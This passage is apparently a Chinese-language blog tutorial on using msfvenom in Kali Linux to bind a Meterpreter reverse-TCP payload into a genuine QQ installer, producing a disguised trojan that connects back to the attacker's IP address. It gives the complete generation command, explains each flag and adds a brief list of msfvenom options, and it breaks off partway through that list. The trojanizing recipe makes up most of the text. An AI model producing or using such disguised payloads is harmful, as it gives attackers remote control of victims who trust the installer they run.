msfconsole捆绑木马

捆绑木马

这里使用的是Kali linux虚拟机
攻击机ip是192.168.0.108
靶机ip是192.168.177.134

生成木马文件

首先上传一个正常的安装包到kali里面

我这里下了一个QQ

把它上传到了root路径下

然后开始捆绑

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe

-p：指定后面的payload

windows/meterpreter/reverse_tcp：申明这是一个windows系统下的一个反弹tcp

LHOST=192.168.0.108,：设置反弹回来的ip，即你的kali的ip地址

还可以设置返回的端口，这里就不设置了，默认返回端口是4444

-f： 代表要捆绑的文件类型，这里是一个exe文件

-x：指定你要捆绑的文件的路径及文件名，这里我选择的是root/dy/里的PCQQ2020.exe

-o：指定生成的木马文件的路径及文件名，这里我把它保存在原路径里，名字就叫QQ.exe
生成完毕

附：msfvenom介绍
msfvenom简介
msfvenom是msfpayload,msfencode的结合体，可利用msfvenom生成木马程序,并在目标机上执行,配合meterpreter在本地监听上线。
msfvenom重要参数：（可以使用msfvenom -h查看所有参数）
-p payload设置
-e 编码设置
-a 系统结构，默认x86
-s payload最大大小
-i 编码次数
-f 生成文件格式

msfvenom生成

生成payload，有有两个必须的选项：